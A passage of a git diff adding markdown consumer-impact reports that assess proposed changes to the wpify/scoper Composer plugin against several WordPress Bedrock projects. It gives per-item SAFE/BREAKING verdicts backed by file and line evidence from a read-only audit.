`WP` being a textual prefix of it is +coincidental and the patcher needle never matches, because php-scoper never prefixed it. + +--- + +## 2. Checklist, item by item + +### C4 — bump `require.php` from `^8.1` to `^8.2` → **SAFE ×4** + +What I actually checked, per project: `.ddev/config.yaml` `php_version`, `.gitlab-ci.yml` runner +image, host `php -v`. No `Dockerfile`, `.tool-versions` or `.php-version` exists in any of the four. + +| Project | dev (DDEV) | CI runs the tool on | verdict | +|---|---|---|---| +| alfamarka | `.ddev/config.yaml:3` → 8.3 | `composer:2.8.2` = PHP 8.3.x (`.gitlab-ci.yml:30`) | SAFE | +| marieolivie | `.ddev/config.yaml:3` → 8.3 | `composer:2.8.2` (`.gitlab-ci.yml:28`) | SAFE | +| dluhopisy | `.ddev/config.yaml:4` → 8.3 | `composer:2.8.2` (`.gitlab-ci.yml:31`) | SAFE | +| teatechnik | `.ddev/config.yaml:4` → 8.4 | no CI | SAFE | + +Not conflated: `composer-deps.json` `config.platform.php: "8.3"` and `require.php: "^8.3"` +constrain the **scoped dependency resolution** only, and are untouched by C4. + +Because CI does `composer global require wpify/scoper` **unconstrained**, a `^8.2` release lands +immediately. That is fine at PHP 8.3, but note it means C4 is *self-enforcing on the next pipeline* +with no opportunity to test — if any of these images were ever pinned back to a PHP-8.1 composer +image the pipeline would fail at the `global require` step, not at install time. + +### C5 — fail fast on missing/invalid `prefix` → **SAFE ×4** + +All four prefixes are present, non-empty, and match `^[A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*$`. +Nothing relies on the silent no-op: no project has `autorun`, and all four have a populated +`deps/` proving the path is exercised. There is no sub-package or nested `composer.json` in these +repos carrying an `extra.wpify-scoper` block without a prefix. + +### C3 — atomic swap via a `.bak` sibling → **SAFE ×4** (with one advisory) + +- `folder` is `web/app/deps` in all four — **not** inside `vendor/`. A `.bak` sibling lands at + `web/app/deps.bak`, inside the WordPress content directory, not inside `vendor/`. +- **Same filesystem:** `stat -f %d` returns device `16777231` for project root, `web`, `web/app` + and `web/app/deps` in all four. `tmp-XXXX` is created at `getcwd()` (`Plugin.php:58`), i.e. the + project root — same device. No cross-device rename risk locally. In DDEV and in CI the whole tree + is one bind mount / one workspace, so this holds there too. +- **Value is high here**, not marginal: because `deps/scoper-autoload.php` is required from + `wp-config.php`, today's `remove($deps); rename(...)` (`scripts/postinstall.php:62-63`) is a + window in which the site has no dependencies at all, and a failed `rename()` leaves it that way + while still exiting 0. +- **Advisory (not a blocker):** `.gitignore` ignores `web/app/deps/*` (the *contents*), which does + **not** match a `web/app/deps.bak` sibling. A backup left behind after a failure would show up as + untracked in `git status` and would sit under the web content dir. It would not be deployed — + the deploy lists `web/app/deps/` explicitly — and it would not be archived as a CI artifact, + which names `$CI_PROJECT_DIR/web/app/deps`. Cheapest mitigations, in order of preference: + put the backup inside the existing `tmp-*` directory rather than beside `deps/`, or ship a + documented `.gitignore` line. This applies equally to `alfamarka/.worktrees/product-details`. + +### C2 — `remove()` gains an `is_link()` guard → **SAFE ×4** + +Purely additive hardening; nothing in these projects can currently trigger the bug, and nothing +depends on the symlink-following behaviour. + +- `web/app/deps` is a real directory in all four (`ls -ld`, no `l` bit). +- `find -type l` → **0 symlinks** in all four trees (511 / 511 / 511 / 505 PHP files scanned). +- `find web/app -maxdepth 2 -type l` → 0. +- **No `path` repositories anywhere.** `composer-deps.json` has no `repositories` key at all, so + the nested install resolves from Packagist only. The outer `composer.json` repositories are all + `type: composer` (wpackagist, satispress, and for dluhopisy `repo.wp-packages.org`). +- DDEV uses bind mounts, not symlinks, for the project root. + +### C1 + M4 — subprocess, exit-code propagation, re-entrancy guard, `--no-plugins` + +**`--no-plugins` on the nested install: SAFE ×4.** `composer-deps.lock` contains zero packages of +type `composer-plugin` and zero dev packages in all four (verified by decoding each lock). No +`*-installer`, no `cweagans/composer-patches`, no `dealerdirect/phpcodesniffer`. The `allow-plugins` +block inside `composer-deps.json` names four plugins that are **not in the dependency tree** — it is +copy-paste from the outer manifest and can be ignored. + +**Re-entrancy guard: SAFE ×4.** No `composer-deps.json` contains an `extra` key, so the recursion +scenario the guard defends against cannot arise here. + +**Exit-code propagation: behaviour change, all four.** Today a scoping failure still exits 0 (M6), +so the CI `composer` job goes green with a broken or stale `deps/`, and — because the rsync has no +`--delete` — the previous `deps/` survives on the server, masking it. After the fix the job goes +red and blocks `deploy` (`needs: [assets, composer]`). This is the desired outcome; flagging it +because latent failures may surface as new CI reds on the first pipeline after the change. + +**alfamarka: NEEDS-MIGRATION.** This project has a real `post-install-cmd` +(`composer.json:135-137` → `@apply-woocommerce-cart-skeleton-patch`), and it is **not running +today**. Composer's `EventDispatcher::getListeners()` merges plugin subscriber listeners *before* +root-package script listeners at the same priority: + +`~/.composer/vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php:593` +```php +$listeners[$event->getName()][0] = array_merge($listeners[$event->getName()][0], $scriptListeners); +``` + +`Plugin::getSubscribedEvents()` registers `POST_INSTALL_CMD => 'execute'` at default priority 0 +(`src/Plugin.php:44-49`), so `execute()` runs first and `runInstall()`'s `Application::run()` exits +the process before the root script is reached. `Composer\Console\Application` never calls +`setAutoExit(false)` (grep returns nothing), so Symfony's default `autoExit = true` applies. + +The workaround is visible in the pipeline — `alfamarka/.gitlab-ci.yml:45` runs +`php scripts/apply-woocommerce-cart-skeleton-patch.php` manually, immediately after +`composer install`. **This is direct field evidence of C1's impact.** After the fix the script +starts running from `post-install-cmd` and will therefore run **twice** in CI. I verified this is +harmless: `scripts/apply-woocommerce-cart-skeleton-patch.php:11-20` treats `already-patched` as a +valid result and exits 0. Migration = delete the now-redundant `.gitlab-ci.yml:45`. Note the local +dev path is currently *worse* than CI: on a developer machine the patch never runs at all. + +**marieolivie / dluhopisy / teatechnik: SAFE.** marieolivie declares `"post-install-cmd": []` and +`"post-update-cmd": []` (`composer.json:112-113`); dluhopisy and teatechnik declare no +install/update scripts at all. Nothing depends on `composer install` exiting 0 while scoping fails. + +### H1 — anchored prefix-stripping → **BREAKING as literally specified ×4** + +No live corruption exists (§1), so there is nothing to gain here for these four projects — only +something to lose. The checklist describes the change as *"only exact symbol matches get +de-prefixed"*. Implemented literally, that removes the segment-boundary behaviour that +`exclude-namespaces` depends on, and these projects' `deps/` demonstrably contains references that +need it: + +| Reference | File:line (present in all four) | Excluded entry that must still match | +|---|---|---| +| `use PHPMailer\PHPMailer\PHPMailer;` | `deps/wpify/snippets/src/CustomSMTP.php:5` | namespace `PHPMailer\PHPMailer` | +| `Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController` | `deps/wpify/custom-fields/src/Integrations/OrderMetabox.php:10`, `SubscriptionMetabox.php:10` | namespace `Automattic\WooCommerce\Internal\DataStores\Orders` | + +Both namespaces are still present in the regenerated lists (verified old→new: both `YES`→`YES`). +If those FQNs come back prefixed, the failure modes are a fatal on every SMTP send +(`phpmailer_init`) and a fatal on HPOS order/subscription metabox registration — on **all four +sites**, at `wp-config.php` bootstrap depth. + +**The condition that makes this SAFE:** anchor the *right-hand* side at a namespace-separator or +end-of-symbol boundary (`(?=$|\\|\W)`), keeping `exclude-namespaces` as a segment-wise prefix match +and `exclude-classes` as an exact match. That is what the audit's own suggested regex +`(?:use\s+|\\)?{$prefix}\\([A-Za-z_][\w\\]*)` + hash-set lookup would do **only if** the lookup +walks the captured symbol's namespace segments, not just tests the whole string. + +**Honest limit of this finding:** php-scoper 0.18 handles `exclude-namespaces` natively at the AST +level, so those two FQNs were most likely already correct before the patcher ever ran, and the +patcher is a no-op. I cannot prove which of the two produced them without re-running a build, which +would violate the read-only constraint. That is exactly why this is the audit's own phase-2 gate +("establish why the block exists at all") and why I am reporting the naive variant as BREAKING +rather than assuming it is safe. + +### H2 — narrow the `autoload_static.php` rewrite to `$files` → **SAFE ×4** + +See §1. Byte-identical output for all four. Recommend the golden-file test use one of these real +`deps/composer/autoload_static.php` files as the fixture — they exercise the `$files`, +`$prefixLengthsPsr4`, `$prefixDirsPsr4` and `$classMap` sections together. + +### H7 — make `--no-dev` reachable → **SAFE ×4** + +`composer-deps.json` has **no `require-dev`** in any of the four, and every `composer-deps.lock` +reports `packages-dev: 0`. Nothing would disappear from `deps/`. No project code references a +scoped dev dependency (there are none to reference). + +Worth recording for other consumer groups: were dev packages ever dropped here, the additive rsync +(§0.4) would leave the stale files on the server indefinitely. + +### H14 / H15 — `plugin-update-checker` → **SAFE ×4 (not applicable)** + +- `globals` is unset in all four, so the defaults apply (`Plugin.php:60`: + `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`). `plugin-update-checker` is **not** + among them, so `symbols/plugin-update-checker.php` is never loaded and the two PUC patchers in + `config/scoper.inc.php:48,75` never match a file path. +- `yahnis-elsts/plugin-update-checker` is **not** in any `composer-deps.lock`. +- `grep -rln "Puc_v4\|Puc_v5\|YahnisElsts\|plugin-update-checker"` across `src/`, + `web/app/mu-plugins/`, `composer.json` and `composer-deps.json`: **0 hits in all four.** + +The highest-risk item in the checklist has **zero exposure** in this group. Either resolution — +regenerate for v5 or drop the built-in list — is invisible to these four. + +### H16 — full-AST symbol extraction, regenerated lists → **SAFE ×4** + +This is the change with the widest blast radius, so I measured the actual delta these projects +would experience rather than the delta between two repo commits. Comparing the symbol lists in the +**installed 3.2.21** (which produced their current `deps/`) against repo HEAD, merged over the four +default globals (`scratchpad/h16-delta.php`): + +| List | old | new | added | removed | +|---|---|---|---|---| +| `exclude-functions` | 4,995 | 5,213 | 230 | 12 | +| `exclude-constants` | 450 | 551 | 102 | 1 | +| `exclude-classes` | 1,092 | 1,147 | 59 | 4 | +| `exclude-namespaces` | 212 | 464 | 278 | 26 | + +**Additions — 0 collisions in all four.** I extracted every function, class/interface/trait/enum, +`define()` and top-level `const` *defined* inside each project's `deps/` tree and tested it against +the newly-added symbols. Zero hits. No scoped package defines a symbol that newly becomes excluded. + +**Removals — 2 references, both benign.** The only references any project makes to a removed +exclusion are PHP built-ins: + +- `is_countable` — `deps/twig/twig/src/Extension/CoreExtension.php:330` (all four) +- `array_key_last` — `deps/twig/twig/src/NodeVisitor/CorrectnessNodeVisitor.php:164` + (alfamarka, marieolivie, dluhopisy; teatechnik's older Twig 3.24 does not use it) + +Both are emitted **unqualified** in the current output (`if (!is_countable($values))`), i.e. +php-scoper's own internal-symbol registry already keeps them global independently of the exclusion +lists. Removing them from `exclude-functions` changes nothing. The other removals +(`MailPoet\EmailEditor\*`, `Automattic\WooCommerce\Vendor\League\Container`, +`WC_Interactivity_Initial_State`, …) are not referenced anywhere in these `deps/` trees. + +**Pre-existing, not introduced by H16:** `symfony/polyfill-mbstring` defines `mb_strlen` and +`mb_substr` (`bootstrap72.php`, `bootstrap80.php`; teatechnik: `bootstrap.php`), and both names are +in the WordPress exclusion list. That is correct — a polyfill *must* define the global function — +and it is unchanged by this work. + +### H18 — fix `scoper.custom.php` discovery → **SAFE ×4** + +`createPath()` (`src/Plugin.php:268-276`) tests `strpos(dirname(__DIR__), 'vendor/wpify/scoper')`. +For the global install `dirname(__DIR__)` is `/Users/wpify/.composer/vendor/wpify/scoper`, which +**does** contain the literal substring, so the check passes and `$in_root` resolution to `getcwd()` +works today. The custom-config path is *not* silently ignored in this topology. + +Moot in practice: `find -maxdepth 3 -name scoper.custom.php` returns nothing in any of the four +projects (nor in the worktree). There is no customisation to start or stop applying, so the fix is +a behaviour change for nobody here. + +### M3 — stop writing generated `scripts` into the user's `composer-deps.json` → **SAFE ×4** + +**Correction to the audit's premise.** The shipped code does **not** write to the user's +`composer-deps.json`. `src/Plugin.php:131` sets `$composerJsonPath = $this->path($source, +'composer.json')` — inside the temp directory — and `:175` writes there. The user's path is written +at `:141` only in the branch where the file **does not exist**, to seed a stub. All four projects +have the file, so that branch is never taken. + +Empirically confirmed: all four `composer-deps.json` are tracked, contain **no `scripts` key**, no +absolute paths and no `tmp-` strings, and `git status --porcelain composer-deps.json +composer-deps.lock` is **clean** in all four. Zero churn. + +`composer-deps.lock` *is* written back (`scripts/postinstall.php:57-58`, copying the nested +`composer.lock` over it) and is tracked in all four — that is the intended behaviour for a lock +file, not clobbering. No hand-written script would be lost by this change in this group. + +### M15 — validate `globals` against available symbol files → **SAFE ×4** + +`globals` is not set in any of the four; the hardcoded defaults at `src/Plugin.php:60` are used, and +all four names map to real files (`symbols/{wordpress,woocommerce,action-scheduler,wp-cli}.php`). +Validation would pass silently. + +--- + +## 3. `.worktrees/` (alfamarka) + +`git worktree list` in alfamarka: + +``` +/Users/wpify/projects/alfamarka bd40641 [master] +/Users/wpify/projects/alfamarka/.worktrees/product-details b1611e3 [test] +``` + +The worktree is a **full independent working copy**: its own `vendor/`, its own +`web/app/deps/` (built Jun 4, same 11 entries), its own `composer-deps.lock`, its own +`node_modules/`, and its own `.ddev/`. Its `extra.wpify-scoper` is identical to the main tree — +same `AlfamarkaDeps` prefix, same `web/app/deps` folder (`composer.json:146-149`). + +Interaction with the temp-dir findings (M8): + +- The temp directory is `getcwd() . '/tmp-' . …` (`Plugin.php:58`), and `folder` is resolved + relative to `getcwd()` too (`:66`). Since each worktree has its own cwd, **main and worktree + builds cannot collide** — each gets its own `tmp-*` and writes its own `web/app/deps`. The weak + `str_shuffle(md5(microtime()))` randomness is not a cross-worktree hazard. +- **No `tmp-*` leftovers** exist in any of the four projects or in the worktree — the happy-path + cleanup works. +- `tmp-*` is **not** in any project's `.gitignore`. A temp dir left behind by a failure (M8) would + show as untracked. `.worktrees/` itself *is* ignored (`alfamarka/.gitignore:51`), so leftovers + inside the worktree are invisible to `git status` — which cuts both ways. +- Same prefix in both trees is harmless: they are separate directories loaded by separate PHP + processes. + +The C3 `.bak` advisory applies per worktree: `web/app/deps.bak` would appear in each and is not +covered by `web/app/deps/*`. + +--- + +## 4. Additional findings outside the checklist + +**4.1 — marieolivie is an unrenamed fork of alfamarka.** The shared `AlfamarkaDeps` prefix is not +an isolated typo in `extra.wpify-scoper`; the whole project was copied and never renamed: + +- `composer.json:2` — `"name": "wpify/alfamarka"`; `:5` — `"description": "Alfamarka"` +- `composer.json:117` — `"autoload": {"psr-4": {"Alfamarka\\": "src/"}}` +- `src/Plugin.php:3` — `namespace Alfamarka;` +- `web/app/mu-plugins/alfamarka/` is the mu-plugin directory +- `.gitlab-ci.yml:20` artifacts `web/app/themes/alfamarka/build`; `:68` patches + `web/app/mu-plugins/alfamarka/alfamarka.php`; `:2` `SERVER_ADDR: alfamarka.infra.church` +- `git log`: `0f0c67c Initial MarieOlivie import` + +`diff -rq` of the two `deps/` trees differs only in `composer/installed.php` (install paths). This +is **not a scoper misconfiguration and has no functional consequence** — the prefix is per-process +and the two sites never share one. It is a naming-hygiene issue for the project team, and it means +any future "rename the project properly" task must change the prefix, which forces a full +`deps/` rebuild and a coordinated deploy. Flagging it, not blocking on it. + +**4.2 — the global unpinned install is the dominant risk.** Repeating §0.1 because it changes how +any rollout should be staged: three of four pipelines run `composer global require wpify/scoper` +with no constraint and no lock. There is no mechanism today by which a bad release is caught before +it builds a production `deps/`. Recommend pinning to `wpify/scoper:^3.2.21` (or a tag) in these +pipelines *before* landing phase 2 or 3. + +**4.3 — failures are currently double-masked.** Scoping failure exits 0 (M6) **and** the deploy +rsync has no `--delete`, so the previous `deps/` remains on the server. A silently broken build is +therefore invisible from both the pipeline and the site. Fixing exit-code propagation (C1) removes +the first mask; the second is a project-side choice. + +**4.4 — `deps/` under the docroot.** `web/app/deps/` sits inside the web root. Not introduced by +any proposed change, but it means a stray `web/app/deps.bak` would also be under the docroot. +Reinforces the recommendation in C3 to keep the backup in the temp directory. + +**4.5 — teatechnik's `deps/` is 3 months stale** (built May 1; Twig 3.24 and +`wpify/custom-fields` 4.7.0 vs 3.28/4.9.3 elsewhere). Its `composer-deps.lock` matches, so the +build is self-consistent; it simply has not been rebuilt. It will pick up all of the above at once +on its next `composer install`. + +**4.6 — teatechnik has no active CI, and its template would ship a broken site.** Only +`.gitlab-ci.example.yml` exists. The referenced `.gitlab-ci/pipeline/deploy.yml` archives +`$CI_PROJECT_DIR/deps` (`:25`) — the plugin's **default** folder, not the configured +`web/app/deps` — and its `server_deploy` list (`:48-62`) contains **no deps path at all**. +Enabling that template as-is would deploy a site that fatals at `web/wp-config.php:17`. This is a +project-side bug, not a scoper bug, but it is worth telling the team. Deployment for teatechnik is +otherwise **UNKNOWN**: to resolve it I would need the GitLab project's CI settings or the server's +current layout, neither of which is inspectable from this checkout. + +--- + +## 5. Verdict matrix + +| Checklist item | alfamarka | marieolivie | dluhopisy | teatechnik | +|---|---|---|---|---| +| **C4** php `^8.1`→`^8.2` | SAFE | SAFE | SAFE | SAFE | +| **C5** fail fast on missing/invalid prefix | SAFE | SAFE | SAFE | SAFE | +| **C3** atomic swap via `.bak` sibling | SAFE¹ | SAFE¹ | SAFE¹ | SAFE¹ | +| **C2** `is_link()` guard in `remove()` | SAFE | SAFE | SAFE | SAFE | +| **C1+M4** subprocess / exit code / re-entrancy / `--no-plugins` | **NEEDS-MIGRATION**² | SAFE | SAFE | SAFE | +| **H1** anchored prefix-stripping | **BREAKING**³ | **BREAKING**³ | **BREAKING**³ | **BREAKING**³ | +| **H2** narrow `autoload_static.php` rewrite | SAFE | SAFE | SAFE | SAFE | +| **H7** make `--no-dev` reachable | SAFE | SAFE | SAFE | SAFE | +| **H14/H15** plugin-update-checker | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | +| **H16** full-AST extraction + regenerated symbols | SAFE | SAFE | SAFE | SAFE | +| **H18** `scoper.custom.php` discovery | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | +| **M3** stop writing `scripts` into `composer-deps.json` | SAFE⁴ | SAFE⁴ | SAFE⁴ | SAFE⁴ | +| **M15** validate `globals` | SAFE | SAFE | SAFE | SAFE | +| *(context)* deployment path for `deps/` | verified | verified | verified | **UNKNOWN**⁵ | + +¹ A leftover `web/app/deps.bak` is not matched by the `web/app/deps/*` gitignore rule. Prefer +placing the backup inside the existing `tmp-*` directory; otherwise ship a `.gitignore` line. +Applies per worktree in alfamarka. + +² `composer.json:135-137` declares `post-install-cmd → @apply-woocommerce-cart-skeleton-patch`, +which the C1 `exit()` prevents from running today; `.gitlab-ci.yml:45` runs it manually as a +workaround. After the fix it runs from both places (verified idempotent). Migration: delete +`.gitlab-ci.yml:45`. + +³ Only if "anchored" is implemented as *exact symbol match*. All four `deps/` trees contain +namespace references that require segment-boundary prefix matching against `exclude-namespaces` +(`use PHPMailer\PHPMailer\PHPMailer;`, +`Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController`). Preserving +segment-wise matching for namespaces makes this **SAFE ×4** — there is no live H1 corruption to fix +in this group (0 collisions across 480/480/480/475 scoped symbols). + +⁴ The audit's premise does not match the shipped code: generated scripts go to the temp manifest +(`Plugin.php:131`, `:175`), never to the user's file. All four `composer-deps.json` are git-clean +with no `scripts` key. + +⁵ No `.gitlab-ci.yml`; the example template would not deploy `deps/` at all. See §4.6. diff --git a/docs/improvements/consumers/B-bedrock-delife-group.md b/docs/improvements/consumers/B-bedrock-delife-group.md new file mode 100644 index 0000000..84da053 --- /dev/null +++ b/docs/improvements/consumers/B-bedrock-delife-group.md @@ -0,0 +1,452 @@ +# Consumer impact — cluster B (Bedrock / delife group) + +Projects verified: `delife`, `stavbadesign`, `wpify-website`, `sdcentral` (all under +`/Users/wpify/projects/`). All four are Roots/Bedrock WordPress projects, all four +consume `wpify/scoper` **as a global Composer plugin**, never as a project dependency. + +Everything below was inspected read-only. No file in any of the four projects was +modified and no `composer install/update` was run inside them. Scratch scripts live in +`/private/tmp/claude-503/.../scratchpad/` (`h1scan.php`, `h1forward.php`, `h1ci.php`, +`woo.php`, `B_delta.php`, `B_h16impact.php`). + +--- + +## 0. Topology — the fact that drives half the verdicts + +**`wpify/scoper` is installed globally, and therefore executes on every Composer run on +the machine and in CI, including runs for projects that have no scoper config at all.** + +Evidence: + +- `composer global config home` → `/Users/wpify/.composer`; global manifest + `/Users/wpify/.composer/composer.json` requires `wpify/scoper: ^3.2` with + `allow-plugins.wpify/scoper: true`. +- Installed global version: **3.2.21**, source ref `b00d523` + (`/Users/wpify/.composer/vendor/composer/installed.json`). +- `src/Plugin.php`, `scripts/postinstall.php` and `config/scoper.inc.php` in the global + install are **byte-identical** to this repo's HEAD (`diff -q`, no output). Only + `symbols/*.php` differ (global lags commit `a59d577`). So the audited code is the code + consumers are running. +- None of the four `composer.json` files require `wpify/scoper` in `require` or + `require-dev`. +- All four `.gitlab-ci.yml` files install it globally at build time: + `delife/.gitlab-ci.yml:55-56`, `stavbadesign/.gitlab-ci.yml:59-60`, + `wpify-website/.gitlab-ci.yml:64,68`, `sdcentral/.gitlab-ci.yml:33-34` and again at + `sdcentral/.gitlab-ci.yml:66-67` for the `test:php` job. + +Empirically confirmed in a throwaway scratch project with an empty `composer.json`: + +``` +Loading plugin Wpify\Scoper\Plugin (from wpify/scoper, installed globally) +> post-install-cmd: Wpify\Scoper\Plugin->execute +EXIT=0 # silent no-op, nothing created +``` + +That silent no-op (`src/Plugin.php:127`) is currently **load-bearing** for the global +Composer project itself and for every unrelated project on the machine. See C5. + +--- + +## 1. `delife/scoper.custom.php` — the priority-1 artifact + +### (a) What it customizes + +`/Users/wpify/projects/delife/scoper.custom.php` (13 lines, tracked in git — +`git ls-files` confirms). It defines `customize_php_scoper_config()` and appends exactly +one patcher: + +```php +if ( strpos( $filePath, 'wpify/custom-fields/src/Integrations/OrderMetabox.php' ) !== false ) { + $content = str_replace( 'function_exists(\'DelifeDeps\\\\', 'function_exists(\'', $content ); +} +``` + +i.e. "in that one file, strip the prefix out of `function_exists('DelifeDeps\…')` +string literals." + +The same file exists, byte-identical (409 bytes), in all three worktrees +(`.worktrees/b2b-api-integration`, `.worktrees/openrouter-migration`, +`.worktrees/redesign-2026`). + +### (b) Is it currently being applied? — **YES. Proven.** + +Finding H18 says `Plugin::createPath(['scoper.custom.php'], true)` +(`src/Plugin.php:268-276`) only resolves to the project root when +`dirname(__DIR__)` contains the literal `vendor/wpify/scoper`. For a **global** install +that path is `/Users/wpify/.composer/vendor/wpify/scoper` — which *does* contain the +substring: + +``` +dirname(__DIR__) = "/Users/wpify/.composer/vendor/wpify/scoper" +strpos(..., "vendor/wpify/scoper") = int(23) → is_int() === true +``` + +So the `$in_root` branch is taken, `getcwd() . '/scoper.custom.php'` resolves to +`/Users/wpify/projects/delife/scoper.custom.php`, `src/Plugin.php:258-260` copies it into +the temp dir, and `config/scoper.inc.php:7-10` requires it. **The customization is live +today. H18 does not change delife's behaviour.** + +(Contrast: a *development* checkout at `/Users/wpify/projects/scoper` does **not** match, +which is presumably where the finding came from. No consumer in this cluster is in that +topology.) + +### (c) …but the customization is a **no-op in the output** + +Natural experiment across the four builds, same package (`wpify/custom-fields` 4.x), +same file, line 165: + +| project | `globals` | custom file | built output | +|---|---|---|---| +| delife | default (incl. `woocommerce`) | **yes** | `function_exists('wc_get_container')` | +| stavbadesign | default (incl. `woocommerce`) | no | `function_exists('wc_get_container')` | +| wpify-website | default (incl. `woocommerce`) | no | `function_exists('wc_get_container')` | +| sdcentral | `["wordpress"]` only | no | `function_exists('SDCentralDeps\wc_get_container')` | + +`delife/web/app/deps/wpify/custom-fields/src/Integrations/OrderMetabox.php:165,205` is +identical to stavbadesign's and wpify-website's. Since `woocommerce` is in delife's +globals, php-scoper never prefixes `wc_*` in the first place, so the custom patcher finds +nothing to replace. It is dead weight, not a functional dependency. + +**Verdict: SAFE, no behaviour change from H18 — but the "silently ignored today, would +suddenly apply" scenario the brief worried about does not occur here.** The one caveat +worth stating loudly is the inverse: **if H18's fix is implemented as +`dirname(Factory::getComposerFile())`, delife keeps working; if it is implemented in a way +that stops resolving to the project root for a global install, delife silently loses its +patcher.** The patcher is currently inert, so even that would be invisible — which is +exactly why it should be covered by a test rather than by observation. + +--- + +## 2. Live corruption hunt in the built `deps/` (H1 / H2) + +All four projects have a built `deps/` at `web/app/deps` (delife 36 MB / 2 939 PHP files, +wpify-website 2 247, sdcentral 518, stavbadesign 506). + +### H2 — `autoload_static.php` classmap corruption: **not triggered, latent only** + +`scripts/postinstall.php:41-45` applies +`/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'"\/\-_]+),/` to the whole file. Measured, per +project, by walking `autoload_static.php` section by section: + +| project | prefixed keys in `$files` (intended) | prefixed keys **outside** `$files` | classMap entries | non-namespaced classMap keys | +|---|---|---|---|---| +| delife | 12 | **0** | 2 405 | **0** | +| stavbadesign | 9 | **0** | 486 | **0** | +| wpify-website | 10 | **0** | 709 | **0** | +| sdcentral | 9 | **0** | 498 | **0** | + +Reason: php-scoper puts every scoped class under the prefix namespace, so every classmap +key contains a `\\` and cannot match `[[:alnum:]]+`. The bug is real but unreachable for +these four dependency sets. **Narrowing the rewrite to `$files` is a pure no-op here → +SAFE.** + +### H1 — unanchored prefix-stripping: **not triggered, and the fix must be boundary-anchored, not exact-match** + +Two independent scans: + +1. *Retrospective* (`h1scan.php`): every `\Ident…` / `use Ident…` occurrence in all + 6 210 scoped PHP files, flagged when it starts with an excluded class/namespace and + continues with an identifier character. **0 mangles in all four projects.** +2. *Forward* (`h1forward.php`): every classmap FQN vs. the project's excluded symbol set. + **0 `MANGLE` candidates in all four.** + +The only forward hits are correct de-prefixings (delife): +`DelifeDeps\Attribute`, `DelifeDeps\PhpToken`, `DelifeDeps\Stringable`, +`DelifeDeps\UnhandledMatchError`, `DelifeDeps\ValueError` — the symfony/polyfill-php80 +stubs (`web/app/deps/symfony/polyfill-php80/Resources/stubs/Attribute.php:3,13`), which +are declared under the prefix but referenced as `\Attribute` and resolve to the native +PHP 8.3 classes. Exact-symbol matching preserves this. + +**Two implementation constraints the fix must respect, or it becomes BREAKING:** + +- **Sub-namespace continuation must still be stripped.** `delife/…/OrderMetabox.php:10` + is `use Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController;` + and `…/snippets/src/CustomSMTP.php:5` is `use PHPMailer\PHPMailer\PHPMailer;`. The + excluded entries are `Automattic\WooCommerce` and `PHPMailer\PHPMailer`. The proposed + hash-set lookup on the *whole* captured `[A-Za-z_][\w\\]*` would miss both. The lookup + must be longest-namespace-prefix, with `\` as a legal continuation. (php-scoper's own + `exclude-namespaces` already handles these, so the patcher is belt-and-braces here — + but that is an assumption worth testing rather than relying on.) +- **Token-boundary, not string-end.** `\DelifeDeps\Attribute::TARGET_CLASS` must still + become `\Attribute::TARGET_CLASS` (polyfill stub, line 13). + +The proposed switch to **case-insensitive** matching was measured separately +(`h1ci.php`): **0 new de-prefixings** in all four projects. + +**Verdict H1: SAFE for all four, conditional on the two constraints above.** + +--- + +## 3. sdcentral's `globals: ["wordpress"]` — pre-existing, live breakage + +`sdcentral/composer.json` `extra.wpify-scoper.globals = ["wordpress"]` — no +`woocommerce`, no `action-scheduler`, no `wp-cli`. Its scoped set (`wpify/custom-fields`, +`wpify/model`, `wpify/snippets`, `wpify/log`) references all three anyway. + +Measured (`woo.php`) — **14 distinct symbols wrongly prefixed** in +`sdcentral/web/app/deps`: + +| symbol | kind | sites (excerpt) | +|---|---|---| +| `WP_CLI` | constant | 15 — `wpify/snippets/src/HTTPAuth.php:9`, `wpify/custom-fields/src/Integrations/Taxonomy.php:94`, `…/Metabox.php:121` | +| `WC_Product` | class | 6 — `wpify/model/src/Product.php:6`, `…/ProductRepository.php:6` | +| `WC_Order` | class | 4 — `wpify/model/src/Order.php:7`, `…/OrderRepository.php:6` | +| `WC_Abstract_Order` | class | 3 — `wpify/model/src/Order.php:6` | +| `WC_Order_Item`, `WC_Order_Refund`, `WC_Tax`, `WC_Coupon`, `WC_Admin_Settings` | classes | 8 total | +| `wc_get_container`, `wc_get_page_screen_id`, `wc_get_order`, `wc_get_logger` | functions | 7 total | +| `ActionScheduler` | class | 2 — `wpify/snippets/src/DisableDefaultAsRunners.php:18-19` | + +Concrete dead code produced: + +- `HTTPAuth.php:9` — `if (defined('SDCentralDeps\WP_CLI') && WP_CLI)` — always false. + sdcentral **does** register WP-CLI commands (`src/CLI.php:64-66` + `WP_CLI::add_command('sd create-processes', …)`), so the WP-CLI guards inside + custom-fields (`Taxonomy.php:94`, `Metabox.php:121`, `SubscriptionMetabox.php:161`) are + live-wrong: admin form-field hooks are registered during CLI runs. +- `wpify/log/src/Log.php:56` — `function_exists('SDCentralDeps\wc_get_logger')` — always + false; the WooCommerce logger path is unreachable. +- `DisableDefaultAsRunners.php:18` — `class_exists('SDCentralDeps\ActionScheduler')` — + always false; the snippet is inert (and `\SDCentralDeps\ActionScheduler::runner()` on + line 19 would fatal if it ever were reached). +- `wpify/model/src/Order.php:6-7` — `use SDCentralDeps\WC_Abstract_Order;` / + `use SDCentralDeps\WC_Order;`. Dormant: sdcentral's `src/` never touches + `Wpify\Model\Order`/`Product` (verified by grep over `src/`), so no fatal today. + +**None of this is caused by the proposed changes** — it is the status quo. Adding +`"woocommerce"`, `"action-scheduler"` and `"wp-cli"` to sdcentral's `globals` (a +one-line project-side change) fixes all 14. It is worth reporting to the sdcentral owner +independently of this audit. + +**Would H16's regenerated lists change sdcentral's output?** Only via `wordpress.php`. +See §4 — measured impact zero. + +--- + +## 4. H16 — regenerated symbol lists + +The documented H16 delta (docs `03-symbols-and-scoper-config.md:61-160, 186-285`) adds: +18 function-body symbols (`WP_Block_Cloner`, `wxr_cdata` + 13 `wxr_*`, +`lowercase_octets`, `wp_handle_upload_error`, `_sort_priority_callback`, +`filter_created_pages`), ~97 `SODIUM_*` top-level constants, and the `class_alias` +targets. I extracted the alias targets from the checked-in sources: the only +**global-namespace** ones are `PHPMailer`, `phpmailerException`, `SMTP` and 33 